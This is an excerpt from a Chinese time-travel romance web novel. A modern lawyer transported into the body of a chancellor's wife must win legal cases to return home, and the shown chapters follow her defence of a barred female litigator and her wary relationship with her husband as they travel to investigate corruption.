《说好的对我没意思呢》
1. 穿越
【恭喜宿主已绑定系统,接下来您只需解决案件攒足积分便可以回到现代。】
阳春三月,丞相府内,苏蔺安的脑海里突然闪出一段机械女音。
她迅速转头,试图寻找来源,却发现除了自己,其他人一切如常,什么都没听见。
事情还要从几天前说起。
刚进入红圈所的苏蔺安斗志昂扬,为了手中的案子连续在律所熬了一个月,立志在律师界闯出一片天。
结果某天下班时,低血糖两眼一黑晕在了路边。
一睁眼,便在这古色古香的院子里,旁边还有个一口一个“夫人”的丫鬟喊她。
天真的苏蔺安以为是梦,加上急需补充睡眠,眼睛一闭又睡了过去,这一下便到了三天后,被药灌醒,床边大夫说她是气急攻心,接下来得好好调养。
她这才意识到,不是梦,自己穿越了。
穿越到一个同名同姓的古代女子身上。
现在又来个系统,真是什么好事都让自己赶上了。
【案件积分如何计算】苏蔺安试着在心中呼唤系统。
机械女音瞬间出现:【一案最低10分,照案件难度逐渐增加积分,满百即可回到现代。】
苏蔺安终究还是想回去的。
在心里苦笑一声,她认命地从榻上坐起。
贴身侍女流汐不解:“夫人,您这是要去哪。”
“宅了这么些天,也得出去透透气吧。”
她想去衙门碰碰运气。
几月前闹的气势汹汹的叛国大案,最终以圣上震怒斩首全族结束。
衙门前的石砖被浸成了暗红色,血腥味久久不能散去。
流汐担忧地扶住苏蔺安的手。
她摇摇头,示意无碍,又往衙门里走了几步。
几个公堂上,双方请的讼师都如火如荼地为主家辩驳,努力到似乎要将唾沫星子都喷到对方脸上。
只是看来看去,竟然无一例外都是男讼师。
苏蔺安微微蹙眉,心底有了个隐约的猜测,面上不显,接着往里走。
直到第四个公堂,她停下了脚步。
里头意外吵闹。
“我也是讼师,凭甚不让我上堂!”
庭下,一位黑裙女子扒拉着堂栅质问。
周围人小声议论着。
知县似是没听见一般,自顾自捋着胡子,倒是旁边的师爷不屑睨她一眼:“区区妇人,怎敢称讼师?还妄图上庭,是想污了公堂清白吗?”
“师爷不信尽可去问问犯人,我自然是与他签过契的讼师,又何谈污了清白?”
知县摆摆手,只是上下扫视了那女子一番,接着嗤笑:“妇人纵来如此,达不到目的便撒泼打滚,毫无纪律,若是让你上堂,岂不是要对我动手?”
一句话,便把一位争取上庭的女讼师说成了无端闹事的泼妇。
女子脸涨的通红,“不,不是的......”
这样仗势欺人,言辞侮辱,污了公堂清白的是谁还犹未可知。
她推开流汐的手,慢步上前,
“既有契约为证,这位姑娘却是讼师无疑。讼师的义务就是上庭辩护,她只是在维护自己的权益,怎么就被知县说的这样不堪。”
下一刻,知县那不善中透着算计的打量眼神便落到了她的身上,像一条吐着信子的蛇,光是注视,便弄的人极不舒服。
庭内议论声停,苏蔺安强忍下心中的不适,走到那位女讼师的身边,毫不畏惧与堂上的男人们对视。
“我观夫人样貌衣饰皆是不凡,只是衙门不是你这种富家小姐随意玩闹的地方。”知县语调一紧:“若再闹下去,可别怪本官不客气了!”
身后那位女讼师明显是有些怕了,她低声吸气,悄悄拉住苏蔺安的袖摆。
“这便算闹么?”苏蔺安反手握紧女讼师的手,“莫怕。”
在公堂上消失的女讼师身影,知县师爷明晃晃的看低,都无一例外证明了她心底的想法:也许在这里,女讼师,女律师,这个职业远没有被这个时代的人所接受。
“还请问知县与师爷,为何不让她上庭?难不成,就因为这位姑娘是女子吗?”她平静地质问,明明大病初愈面色苍白,却无端让人察觉到坚定的力量。
这句话撕开了他们的真面目,像是一滴水砸进烈火烹油的热锅中,激起层层热浪。
却又无一人敢真正站出来表态。
知县与师爷互对一个眼神。
“来人!将这两位闹事者拿下,杖责十棍!”
心下一紧,苏蔺安没想到他们竟然这么猖狂,没有理由就敢随意惩罚百姓。
她将那位女讼师拉到自己的身后,今日冲突因她而起,苏蔺安不想连累她人。
下一刻,吵闹的公堂瞬间寂静。
上头耀武扬威的知县也师爷表情一变,打着手势让那些喽啰停了动作。
紧接着,有缓缓的脚步声传来。
苏蔺安下意识侧头瞥去。
一袭银白长衣,外披黑氅的男子慢步而入,他肤色偏白,骨相优越,一双浓重似海的黑眸藏在突起的眉骨下,凌厉鼻梁在脸颊烙下一道侧影,薄唇微抿。
眼角下那颗泪痣却柔和了那过分冷肃的面容,颇显温润。
但堂上的人却像见到什么洪水猛兽一般,都不用他发话,知县便跪了下来将方才的事添油加醋交代了一遍。
苏蔺安立刻便想起身反驳知县语中的错处,却蓦地被流汐拉了一把。
她心下疑惑,却见流汐眼睛亮亮地盯着那男人,好似见了救星,便也顺着她的意思并未出声。
公堂之上,就那男子一人站着,他听完知县的话表情未变,垂着眼皮望他片刻,略带兴味:“暮安,本朝诬告者该当何罪?”
那位名唤暮安的下人即刻出声报出流三千里,处绞。
旋即那男人缓步坐到公堂最上方,只是看向知县的眼神里多了几分狠戾。
苏蔺安染上些许暖意,原也是有正常的官员。
她目不转睛地盯着前头的动静。
知县颤颤巍巍地道出了真实的情况。
男人食指点了两下桌面,“我怎不知现有不让女讼师上堂的规矩。”
知县与师爷闻言一抖,立马将苏蔺安身后的女子请上了堂,还有请上头那位男子判裁的意思。
男人大手一挥,“尔自为之。”
话语刚落,便起了身,又免了堂内众人礼。
苏蔺安刚被流汐扶起来,便见那人停在了自己的面前。
男人眼皮微掀,直直与她对视,却不言一语。
她不明情况,咽了咽喉才张了唇。
却见男人眉间微蹙,深深望了自己一眼便径直往外走去。
最后那个眼神,不知是不是苏蔺安看错,那平静的波澜底下好似隐隐藏着一丝疑惑。
回
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去路上,苏蔺安心情格外沉重。
今天若不是没那骤然出现的男人,自己恐怕只会与那女讼师一起被打十棍子滚出衙门。
依稀间,马车外的阳光从窗帘的缝隙中透进来,带来一阵轻柔的暖意。
苏蔺安却感觉浑身发冷。
连手也在微微发颤,流汐还以为她冷,又找来毯子盖在她身后。
根本问题依旧没有解决。
只要有一位今天这样的知县存在,她就有可能会受到各种阻拦,无法上庭,无法解决案件,也就没办法积攒积分,回到现代。
“夫人,到了。”
流汐轻轻扶稳她下车,刚进院子,宜人的花香传至鼻尖,屋子里的火炉在她出去后也未曾扑灭。
丞相府似乎永远祥和宁静,可这份平静,是依附着丞相裴翊这棵大树而生的。
“滋”
火炉里突然炸了个火花。
苏蔺安似是想到什么,她叫住流汐,有些小心地试探:“裴大人是个怎样的人......”
在这些人的口中,原身的夫君裴翊年少时连中三元,一步步从故乡凉州走进京城,上任后仅三年便夺得圣上赏识,连年高升,直到前左相致仕后,光荣顶上这个位置。
不到而立的年纪便坐稳高位,得百姓称赞,世人敬仰,可不称得上一句天纵英才。
“那,他对朝政是什么态度?”苏蔺安的好奇心不止于此。
流汐连忙做了个捂嘴的姿势。
她这才想起来,自己早不是在那个能随意从电视里看到新闻讨论的现代了,撇撇嘴,苏蔺安示意自己不问了。
“我只知晓,自大人上位后,我们这些下人的日子比之前过的好多了,去年渤海海溢,大人更是在那呆了近两月,直到灾地都重建好才回的京城。”
流汐讲的很简单,却又很具体。
原身这位夫君,听起来确实与白天见到的官员不大一样。
苏蔺安垂眸,盯着刚端上桌的滋补汤药。
如果裴翊真是那样一个正直、一心向民的人,那自己是不是可以向他提一嘴现下女讼师的尴尬处境。
接了案,却上不了堂,何等可笑。
今日可以靠那位男子出面镇压那仗势欺人的知县与师爷,可后面就没有了。
裴翊作为丞相,有那个能力去引领改变。
只是不知道裴翊愿不愿意接着让她这样乘凉。
她拿着瓢羹有一下没一下地撇去药碗中的浮沫,心下组织着语言:“裴大人,何时归家?”
余光里,流汐的嘴张开又闭紧。
天彻底黑下来了,庭院里的丫头将灯笼一盏盏挂上,暖黄的灯光照得人犯懒。
下一刻。
“找我何事。”
明月高悬,竹影簌簌,一息之间,清润男音由外传来,正房的大门被推开,连带着一股浅淡却又熟悉的墨香也卷入屋内。
苏蔺安回头。
黑氅悬在一尘不染的地砖上,银白长衣的纹路好似白日才见过。
逆着光,苏蔺安看不清他眼底的情绪,与印象中的文臣不同,男人身姿颀长高大,面上情绪淡淡,却无端让人心弦一颤。
丫鬟们早已跪下行礼,明示着来人的身份。
时隔多日,裴翊终于回府。
但同时,他也是白日公堂上质问知县的那位。
“叮啷”
瓷勺掉在地上。
2. 可否
苏蔺安看着男人缓慢却有力地一步一步朝自己逼近,落下的每一个脚步都仿佛踩在自己的心脏上。
“咚,咚,咚”
她终于知道白日里男人临走前为什么会停在自己面前,为什么会有那样一个奇怪的眼神。
周遭的空气似乎都变得稀薄,苏蔺安忽然有种喘不上气的感觉。
直到黑影彻底笼罩住她,她猛地低下头。
下一息,她看见墨黑大氅垂落到地毯上,裴翊弯下腰将地上瓷勺捡起,“哒”,放回桌面。
“怎么突然去了衙门。”他淡淡发问。
裴翊说这话时没什么语气,就像是闲暇时随口提起某个不重要事那般的平常态度。
却正是这样才让苏蔺安摸不清他对此事的看法。
她顿了顿,随口扯了个理由:“就想看看。”
话落,苏蔺安极小幅度地抬头。
裴翊慢慢踱步到长榻的另一头坐下,两人中间只隔着张不大不小的木桌。
流汐他们也不知何时退下了,屋内只有他们二人,静的能听见窗外风声。
男人瞥过来,眸色沉沉,连带着说出口的语气都严肃,“现下看似平息,实则朝中还有不少人在寻查你的下落。”
顿了顿,他话音低了几分:“他们想做什么你应知晓。”
苏蔺安忍不住咽了咽喉,嘴角原本温婉的笑容有些维持不住。
肯定不是什么好事。
“......嗯。”多说多错,她吐出一个音节回应。
裴翊目光落回茶几,抬手端起上面的瓷杯,轻抿一口又随即放下。
“今日此行,放在从前我不会阻你半分,今时不同往日,现下还是以自身安危为上。”他想到什么又补充:“或是如今日般我帮你出面也好。”
几句话,透出的信息却不少。
寻查下落...自身安危...也不知原身是犯了什么事,连人身安全都遭受威胁。
苏蔺安眼帘低垂,盯着地毯上那片被湿瓷勺晕出的水渍,大脑急速运转。
一,裴翊对于她今天帮女讼师出头一事持支持态度,甚至愿意亲自出面帮助她;二,原身现在处于一个被人追杀的状态,自身难保。
一时之间,苏蔺安竟然不知道是该高兴还是该难受。
她抬眼,恰好对上裴翊的视线。
男人显然是在等待自己的答复。
苏蔺安将手放在裙摆,葱尖似的食指在黄裙上掐出道细微的褶皱:“今日是我大意了,未料到这一层。”
裴翊目光依旧凝聚在她的脸颊,苏蔺安忽然有些心疑自己是不是答错了。
好在下一秒,男人便移开了视线。
屋内静谧,茶香四溢,裴翊食指缓慢地在瓷杯上绕了一个圈。
这是他一个隐秘的习惯,只有在思考时才会做出的动作。
但苏蔺安不知晓。
男人目光看似落在杯壁,细看下来确是虚无,让人摸不清他现下到底在想什么。
苏蔺安身体还没彻底恢复,这个点早已疲惫,却因着裴翊方才的反应一丝也不敢放松,她僵硬地坐在原地,直到腰后传来一丝酸痛,才换了姿势,手肘撑着脑袋,几缕青丝扫过茶几。
她下意识想实话实说去休息,但倏然想起一件事。
原身与裴翊是夫妻关系,晚上岂不是也要躺在一张床上睡在一起......
一想到这,零散的睡意立刻被吓醒。
和一个初次见面的男人晚上就睡到一块,简直是恐怖故事。
她坐直,将手边的茶一饮而尽。
颇有点要和裴翊熬下去的意思。
只是下一刻。
身侧沉思良久的男人起身,“时辰不早,好好休息,我便不打扰你了。”
苏蔺安眼睁睁看着裴翊不带一丝留恋地跨出卧门,只留下那股淡淡的书卷气萦绕在鼻尖,昭然醒目。
-
三更天,喝完一盏茶的苏蔺安在床上翻来覆去好久,依旧精神抖擞。
她回想着一个时辰前试探流汐,原身与裴翊婚后便从未住到一处,裴翊自有他的松鹤庭,而原身也在这处名为绣华院的地方乐得自在。
而更令人震惊的则是裴翊对原身竟有救命之恩,且听起来颇为惊险。
那样一个冷淡的人,真的会做出这种事吗。
苏蔺安下意识怀疑这话的真实性,可流汐没有任何一个理由欺骗自己。
必定是有什么隐情。
埋在松软被窝里的苏蔺安突然有了点躺平的欲望。
原身又是被追杀又是差点死过一回的,可见穿越前的日子也不好过,她来后,床边医生那句“气急攻心”自己也没忘记,不知发生了什么才让原身能一下昏迷三天。
在这样处处险机的情况下,比起回到现代,苏蔺安更想保住自己的小命。
况且,说不定自己在古代度过这一生了,死了自然就能回到现代了。
她有些天真地想。
下一秒,脑海里那道机械女音再次出现。
【若宿主任务进度始终为零,将抹除您的现代痕迹。】
什么意思?
【您的现代身体将死亡,我们也会同步抹去他人有关您的记忆,直至您彻底消失。】
苏蔺安猛地从床上坐起。
如果自己只能在这个穿越过来的,不熟悉的年代度过一生,回不去原来的时空,本来贴心的家人,亲密的朋友,甚至于那位人嫌狗憎的老板都不再记得自己,这世上再没有一丝一毫自己存在过的痕迹。
心口不自觉传来一阵一阵的钝痛。
她无法接受。
“我会做任务。”
机械女音不再出现。
晨曦的光透过床帘,她幽幽转醒。
外面,流汐已经把小厨房烧好的早餐一样样摆好,就等着苏蔺安起床。
却不想,女人从内室走出的第一句话便是:“府内可有本朝法典?”
既然要完成案件攒积分,熟悉现下的律法自然是第一要事。
“有。”流汐想起什么又补充,“只是书籍一类都放于裴大人的松鹤庭。”
苏蔺安坚定前行的脚步一顿,但思索片刻昨晚裴翊的反应后,自己大致是没露出什么马脚的,略宽了宽心又出发了。
直到女人离开许久,停在原地的流汐才后知后觉发问。
“夫人不是前几月才借过一回法典吗......”
松鹤庭,院如其名。
连排松树种在墙边,院里有一方巨大的湖,里头种着荷花,而荷花边是时不时飞下来停歇的白鹭。
湖心造了八角亭,片片竹席悬在柱子间,巧妙地遮挡风雨同时还保护了里面的隐私,梁上挂了风铃,微风吹,叮零当啷。
暮安说,裴翊此刻就坐在里面。
踩着石子路一步步过去。
想来也是巧,苏蔺安踏上亭子的时候,面前的白纱帘也在同时被一双手掀开。
修长白皙,骨节分明。
她一下愣在原地,注意力不自觉跟着那双手移动。
下一刻,一袭墨蓝圆领袍,腰间别银图革带,外披乌金大氅的裴翊走出,直直与她撞上。
一前一后,两人之间的距离不过一尺。
距离太近,苏蔺安甚至能看清他根根分明的黑睫。
那股熟悉的书卷气也随之而来,环绕身侧。
她垂眸,不忘此行的目的,“听闻大人书房内有本朝法典,可否借我一用?”
面前的裴翊眉间蹙起个细微的褶皱,掀起眼皮,声音有些冷:
“法典?”
苏蔺安下意识点头,下一刻,她猛地察觉出不对。
裴翊这个反应,似乎有些过于
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冷淡了。
她悄悄抬眼,准备观察男人的神色。
那双漆黑的,带着审视的,沉重的眸子直直对了上来。
苏蔺安心底一抖。
便是再愚钝的人也能意识到自己这番行为怕是引了怀疑了。
“我大病初愈,闲来无事便想找些事做。”
男人眉间并未松懈。
她半真半假道:“昨日女讼师一事实在让我揪心,我总想做些什么......”
男人面色稍稍松懈,只是望向她的目光依旧认真。
苏蔺安再接再厉,顺着先前的话:“毕竟大人总有不在的时候,我不能次次都靠您。”
裴翊略点了点头,似是同意她这个说辞。
话题便兜兜转转有回到了最初。
苏蔺安有些小心地开口:“不知法典位于何处呢?”
微风再次吹动了梁上的风铃,有小厮路过,将湖中的景象瞧的一清二楚。
夫人跪坐在蒲座中华,抬着头,眼睛瞪地圆圆,一脸信誓旦旦,嘴巴上下翕动,不知在说些什么;而她面前的大人嘴角带着自己都未曾注意到的笑意,单手撑着脑袋,侧头认真倾听后似是掀唇回答了什么,又似是没有。
“大人。”
一片静谧中,裴翊下属带着一头薄汗神色匆匆小跑过来。
他看看裴翊又看看苏蔺安,神色为难。
法典已到手,苏蔺安正愁没理由开溜。
她立刻解围,“我...”
话未说完,便见裴翊对那下属摆摆手,“暮安,你说吧。”
“是。”
“大人,方才刘大人传信,他们竟趁今日休沐进宫禀圣上慈山贪污一事,并提议派您前去侦办。”
暮安眼神担忧,显然不想裴翊就这样被派出京城。
只是裴翊始终没有答复。
一缕日光斜进屋内,苏蔺安后知后觉地抬头。
他们间隔着一片昏黄的光,里面漫着细微的灰尘,她看见裴翊一动不动地望着自己,那道神秘莫测的视线也在光线的渲染下变得温柔许多。
不知是不是自己看错,苏蔺安甚至觉得裴翊略显沉重的黑眸下似乎流露出星星点点的担忧。
她想起原身现下危急的情形,若是裴翊不在,“那些人”来寻查自己可方便多了。
不由得也开始紧张男人的答案。
“现下出宫的圣旨恐怕已经到了深秋弄。”裴翊食指在杯盏上转了一圈,“慈山一行,在所难免。”
他低沉的语气让苏蔺安在此刻清楚地意识到,他,或者他们,接下来所要面对的不会是一场轻松仗。
果不其然,话语刚落。
耳边便是一阵尖锐刺耳的“圣旨到——”
裴翊全权负责慈山贪污案,明日出发。
时间紧迫,裴翊不仅要在要在这一天内收拾好行囊,还要进宫将现下朝中事务交与右相,并组织好慈山随行大臣。
暮安已经备好马车。
裴翊站在裴府门前,看着不自觉追到门口的女人,他低声道:“我走后,裴府闭门谢客,松鹤庭书房第三列第四排有个暗屉,里面有我为你备好的籍贯和路引。”
“若有不对,你从西南角门出去,会有人引你到东郊一处院子。”裴翊突然梗住,几息后他说:“在那便装,直接走,逃出京城。”
京城,危机四伏。
苏蔺安此刻却想不了那么多,她刚穿越,人生地不熟,甚至连原身到底为何遭此追杀都不清楚,更别提独自逃离,躲避追杀。
更何况她早已下定决心回到现代,京城既如此危险,想来她做讼师攒积分也难度翻倍,不如随着裴翊前去慈山。
情急,她抓住男人的袖口:“可否让我与你同去。”
前来催促的暮安恰好听到这句,立刻跪地,双手握拳:“大人,万万不可啊!”
3. 猛兽
望着跪地的暮安,苏蔺安心弦一紧。
她目不转睛盯着面前的裴翊。
见他的视线在两人中扫过,落在她身上时停顿了下,随即移开了目光,走到暮安面前将他扶起。
苏蔺安呼吸一滞,仿佛已经预料到了那个她不愿意听见的答案。
她下意识攥紧手心,已经开始回忆裴翊方才叮嘱的话,思考险象来临时她能否真的逃出生天。
暮安看似体贴地开口:“蔺安小姐,并非属下刻意为难。只是大人此行本就是被算计,若是再带上您......”
“她与我同去。”裴翊打断他的话
“什么?”
苏蔺安懵懂地抬头,片刻反应过来后,心中猛然溢出一阵狂喜,嘴角也忍不住勾起弧度。
暮安不可置信:“大人!”
裴翊置之不理,温润的声音莫名给苏蔺安带来安全感:“你随我去,也好。”
他抬眼,头顶是圣上多年前赐下的亲笔牌匾,昭显圣恩浩荡,黑底金字,端重肃穆,低调却又张扬,此刻在灼灼阳光下更显锋芒。
“即刻收拾夫人行囊,她与我同去慈山。”
-
春末的阳光逐渐带上了些许温度,有些晒,流汐体贴地拿出早已备好的纸伞为苏蔺安遮挡光线。
裴翊在定下她随行后便进宫向皇帝禀明情况,且安排了车队提前来裴府,让苏蔺安先行上车,避开外人。
在没有彻底搞清楚原身的情况前,她没有任何异议。
车队的嬷嬷怕她受不惯赶车的苦,扶苏蔺安上马车时还特地宽慰:“夫人放心,至多十日便到慈山了。”
十天,这远远超过了苏蔺安的预期。
她是以裴夫人的身份过来,自然事事都只能和裴翊一起,白日自然只能呆在他的马车内,夜间于驿站休憩时更是没理由分房睡惹旁人怀疑。
只怕这十日的朝夕相处会让裴翊看出不对......
苏蔺安心中一阵烦闷,恹恹拿出提前备好的法典。
与其想法设法伪装,不如干脆专心研究法典避开接触。
裴翊是在午后才上的车,据那位嬷嬷所说,他上午敲定了前往慈山的路线,清点了人数,待车队彻底启程后才终于过来的。
一个上午忙的脚不沾地,连早饭午饭都没时间用。
苏蔺安本还在担心他上车后两人该如何相处,没曾想,裴翊刚落座,暮安便抱了一大摞文书进来,随后便一头扎了进去。
与平时那幅温润模样不同,裴翊处理起公务时行云流水,狠辣不留情面。
他先是将文书简单分成两份,右手边的一样样拿墨笔批注,左手边的则是在浏览后报出一个接一个的人名,让暮安召那些人上车回话。
“慈山近十年的税收表呢?”
裴翊掀起眼皮,面无表情询问眼前快要将头埋到车厢下的男人。
即使中间隔着道屏风,苏蔺安也将前头那瑟瑟发抖的户部侍郎瞧的一清二楚。
若是让裴翊知晓自己并非原身,她想必只会遭到更加严苛的拷问。
她忍不住为那人也为自己掐了把汗。
“哒”
男人手中的狼毫被毫不留情地扔到桌上一角。
在格外寂静的车厢中引人心弦一颤。
而他接下来的话也格外残忍:“是户部太安稳了吗,清查地方贪污案,竟然能让你蠢到连近年的税收都不带?”
户部侍郎额角早已布满汗水,愈发将头埋低,“实乃下官失误......”
“若是不想要户部侍郎这个帽子,不如让给你脚下那些想要的。”裴翊冷淡抛出一句话,旋即挥手让暮安将人请下车,开始接着处理下一份文书,
全程没有转一次头,没有朝苏蔺安投去一次关注的目光。
好在后来底下的人也没再出现那样重大的失误,裴翊也变得和风细雨。
她便也接着钻研法典。
若不是那道淡淡的墨香味与裴翊时不时召人上来议事的低语声,苏蔺安几乎都注意不到他的存在。
半本法典大致浏览一遍,苏蔺安揉了揉酸胀的脖颈,放下手中的书本,将车帘拉起一个缝隙,望着窗外发呆。
蓦地,她注意到些许不对。
车厢里似乎太安静了些,不知何时起,屏风前的低语声也消失不见了。
她眨了眨眼,耳畔只有窗外的风声,过分静谧的环境让其它感官变得额外敏锐。
苏蔺安察觉有道视线一直聚集在自己身上。
而车厢里,除了她,便只有一个裴翊了。
她将垂落的发丝绾起,状似无意般回头。
屏风前确实只有裴翊一人,但他正坐在一旁的木椅上,手持本书,面色平淡地阅读。
甚至没注意到苏蔺安的动作。
直到苏蔺安注视了他片刻后,眼前的男人才像是察觉到什么。
裴翊合上手中的书,抬头,直直与她对视,挑了下眉毛,无声询问。
这反应,实在太过自然了。
这倒是让苏蔺安自疑了,难不成,真是她过于敏感了吗。
她张了张嘴,又闭上。
一时之间竟然找不到一个合理的理由来解释自己为什么要盯着裴翊那么久......
“还有两个时辰就到驿站了。”裴翊是时候开口,也不知是有意无意,解了这个围。
苏蔺安点头。
一时无话,裴翊接着将视线转移到手侧的书籍中,苏蔺安也翻开了第二本法典。
她已然将全部精力都投入到法典中,时不时却仍有被注视的感觉。
苏蔺安几次抬头寻找,均一无所获。
这感觉实在无力,她像只误入丛林的猎物,明明能察觉到暗中有猛兽在觊觎自己的眼神,却根本找不到那视线的来源。
明知危险的存在,却无法反制。
她往角落里靠了又靠,逼着自己转移心神,不再将注意力放在那上面。
两个时辰就在那混乱的情绪中过去。
苏蔺安在裴翊的安排下提前下车,到达驿站二楼的客房。
桌上饭菜已备好,裴翊吩咐下人传话让苏蔺安先行用餐,他还需要忙公务。
他都这么说了,苏蔺安自然没有客气的道理。
她边进餐,边思考着今晚该如何与裴翊同屋度过一夜。
进屋时她便已粗略地将屋内扫过一圈。
小驿站,客房配置也简单,一张床,一个饭桌,两把椅子,一个浴桶。
连个换衣时遮挡的屏风都没有。
苏蔺
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安只感觉额角在泛疼。
唯一能安慰她的便是,自从进了驿站后,那道视线似乎就消失了,自己也再没有被人盯着的感觉。
让她与裴翊同床而眠自然不可能,搬第二张床进来又太大动干戈,想来只有打地铺这个选项了。
饭后要让流汐多抱一床被子上来才行。
洗浴换衣更是个难题。
若是为避开裴翊连续十日都不梳洗,苏蔺安自己都接受不了。
避无可避,只能在沐浴前提前告知裴翊让他主动避让了。
房外传来沉稳的脚步声,一下接着一下,愈来愈近。
苏蔺安一无所知。
“夫人,菜快凉了。”
流汐突然出声,拉回了苏蔺安的思绪。
她叹口气,烦闷地夹起一筷白菜,味如嚼蜡咀嚼着。
不知是不是她的错觉,那种被人注视的感觉再次回来了。
那道视线又回来了,与先前都不同,这次的感觉极其强烈,那人肆无忌惮,连带着她的身体都僵硬起来。
她放下筷子,缓慢回头。
下一刻。
苏蔺安看见了,她找到了。
裴翊站在客房的门口,身着官服,整个人威严肃穆。
他微微蹙着眉,一双黑眸也略眯起,全部的视线都落在自己的身上,眼底还带着来不及隐藏的困惑。
不会错的,被注视了一整天的熟悉感受。
不会错的,那个“猛兽”就是裴翊。
直到两人目光对上,裴翊才低头握拳抵住薄唇,“公务繁多,今夜不回来了。”
“好。”应完,苏蔺安的目光却依旧没有从眼前的男人离开。
他不应该对自己解释一句吗?
她很理直气壮。
但,没有。
裴翊在她说完那个字后便点点头,旋即转身离开。
既然危险已经找到,接下来便只需应对便好。
只是,苏蔺安回想起前一刻自己与裴翊对视时,男人那来不及收回的眼神,她清楚地看到,那里面没有恶意,找不出一丝一毫他白日里训斥官员时的相同之处。
反倒是更像一种观察的神色,有好奇,有困惑,唯独没有她害怕的狠辣。
裴翊,在好奇什么呢。
自那日后,苏蔺安便对裴翊产生了防备,不论他在好奇什么,自己小心些总是没错的。
好在这人也分外懂事,没晚都以议事为由从不与苏蔺安同住一屋,除却白日里她要稍加戒备,其余时间倒也算自在。
马车轮子咕噜咕噜转,几日后便到了慈山。
裴翊安排苏蔺安无需下车,在车队所有人都离开后,马车直接驶进他提前安排的院子。
其余马车的官员一个一个下去,或单走或三两成群离开。
他们都不知裴翊的马车上还有一个人,因此吐槽上级吐槽的也极其顺口。
“行车本就劳累,裴大人还夜夜抓我们去处理公务,我这老腰,真是撑不住。”
“是啊,从前大人虽严苛,但到点了便会允我们下职回家,怎么一出京城,就变了个人似的,莫不是圣上下了什么时间限制?”
“我记得没有啊......”
“扑哧”
苏蔺安突然笑了。
4. 抱回
多日车马下来本就劳累,刚进正房,流汐便招呼了热水为苏蔺安沐浴梳洗。
卸下盘在头顶的长发,她从脖颈到肩膀连着全身都放松了不少,配上流汐专业的按摩技术,苏蔺安泡在浴桶里困意连天,眼皮有一下没一下耷拉着。
见流汐推门拿着套里衣进来,才勉强提了精神。
“将白日里那件披风也拿进来。”突然,苏蔺安眯着眼嘱咐。
流汐劝说:“已经很晚了,夫人。”
“无妨。”她坚持。
夜已深,窗外不知何时下起了小雨,伴随微风,吹的烛影摇摇晃晃。
是个合适睡觉的好环境。
苏蔺安绞干了头发,却没有立即上榻,反倒是曲膝坐在长榻上,倚着茶几,一页一页翻着腿上的法典。
专注而认真。
“夫人还不休息吗?”流汐不解。
苏蔺安抬眸,眼前的人一片疲态。
这马不停蹄地赶了十天,她都劳累,更何况流汐。
她咽下嘴里的话,“我还不困,再看一会,你先去休息吧。”
说完便将目光又投到法典,俨然一幅准备挑灯夜读认真钻研的模样。
流汐也不多言,点点头。
是她不想睡觉吗?
不,不是的。
裴翊在用完晚饭后便被一位眼生的小厮喊走去忙公务,也不知几点才回来。
他并未像先前那般提前传话回来不与她同住的消息,苏蔺安自然也不敢放松警惕。
万一贸然睡下,半夜突然有个人掀开被子躺进来......
想想都难以接受。
“哒啦”
流汐关门退下了。
苏蔺安这才长长叹了口气,结束伪装。她合上枯燥的法典,全身松懈下来,直直倚在长榻的靠背上。
也不知道要等多久。
在心底嘀咕了几句,苏蔺安又将身体转了个角度,双臂撑着下巴重新趴回了榻上的茶几,侧眸盯着楹窗外的雨帘。
淅淅沥沥。
裴翊踩着最后一缕烛光熄灭时进正房时看到的就是这一场景。
天色微微亮,他才会见完慈山官员,先前吩咐的小厮便迎上来称忘记传达他不回院子与苏蔺安同住的消息,只能稍作歇息便又抬脚来了这边准备亲自解释。
却不想一进门,往常好动的苏蔺安恬静地趴在长榻茶几上,长睫紧闭,眼下布了道淡淡的阴影,昏黄烛光显她面容更加姣好白皙,面前还摆着从他这借走的法典。
风吹,法典轻轻翻过一页。
女人额前的发丝也跟着乱了些许。
几缕细碎的黑发挡住了她的面庞,如隔雾观花,更显鲜艳。
他站在原地顿住。
蓦地,苏蔺安食指抽了抽。
似是被压麻。
裴翊敛下眼睫,上前将法典翻回原来的那一面。
旋即移开目光,抬步往外走去,只是在房门前偏头低声吩咐了些什么,没有回头。
第二日苏蔺安被叫醒时,仅着里衣躺在正房唯一一张床铺上。
耳边还有流汐好奇地询问她昨晚是几时睡下的。
闭了闭眼,她猛然反应过来不对劲。
她不记得几时睡下,却明确知晓自己是在长榻上听着雨声睡着的。
“昨晚可还有别人回过正房?”苏蔺安骤然低声发问。
流汐在她睡前便被吩咐去休息了,自然无法回答。
苏蔺安又换了个说法,目光转向倒水的小丫鬟:
“昨晚大人可回来了?”
小丫鬟皱眉回忆了一番,“裴大人在卯时回来了一趟,不到一炷香的时间便又匆匆走了。”
将她移到床上的人一目了然。
可前几日车马行程时,裴翊即使怀疑自己,也将距离感保持的非常好,从不与她同房休憩,夜间两人更是从未碰过面。
苏蔺安下意识觉得他不会干出将自己抱回床榻的事。
毕竟这个行为太过亲密。
可除了裴翊,昨晚并无其他人进过正房。
守门的小丫鬟没理由欺骗自己。
苏蔺安微微蹙眉,隐隐察觉有些不对,自己似是疏忽了什么,却又说不上来。
思虑间,暮安求见,带来个更迷惑的消息,“夫人,慈山事务繁多,大人怕影响您休息,日后便单独住在前头的院子里。”
“什么。”她怀疑自己听错了。
暮安耐心复述了一遍后,低声询问:“夫人可还有什么疑惑吗?”
“没,没有。”苏蔺安下意识这么回答。
裴翊这是什么意思?
这与他昨晚的行为简直判若两人。
思考良久,苏蔺安还是没找到那个合理的答案。
但不论如何,一个男人随意进入自己卧间的感觉实在是不太安全,而她更是毫无察觉。
为自身安全起见,苏蔺安决定将购买防身器具这事提上日程。
用过早饭,她去了当地铁匠铺,里头的掌柜是个五大三粗的男人。
“可有适合我家夫人的防身器具?”流汐上前一步。
掌柜略张开那双细缝眼,随手将一把摆在木柜中展示的金玉匕首拿了出来。
“喏,这个。”
苏蔺安抬手接了,却发现这匕首不同于常见的匕首,竟意外的轻盈,她微微蹙眉,小心将其抽出匕鞘。
下一刻,那看着削铁如泥的刀刃居然诡异地柔软抖动一下。
这是把软刀!
流汐明明说得一清二楚,要的是防身器具。
一把软刀,谈何防身?
这掌柜分明就是故意的。
苏蔺安彻底拧了眉心,她抬眸望去。
下一刻那男人迸发出一阵激烈的笑意:“夫人,要我说,您买再好的防身器具也比不上找一个的夫君呀!”
流汐气得要上前对那掌柜动手。
苏蔺安抬手拦下她,将手中的软刀匕首收回匕鞘,对待垃圾般随手扔回木柜。
“这软刀好不好我不知道,我只知晓掌柜您真是软到没边了。”苏蔺安语气一凛:“毕竟我买个防身器具您都能想到夫君,可见您的伴侣私下一定很护着您。”
话落,那掌柜便张着嘴指向她想反驳,不料苏蔺安带着流汐转身就走,全然不理会他在后边的气急败坏。
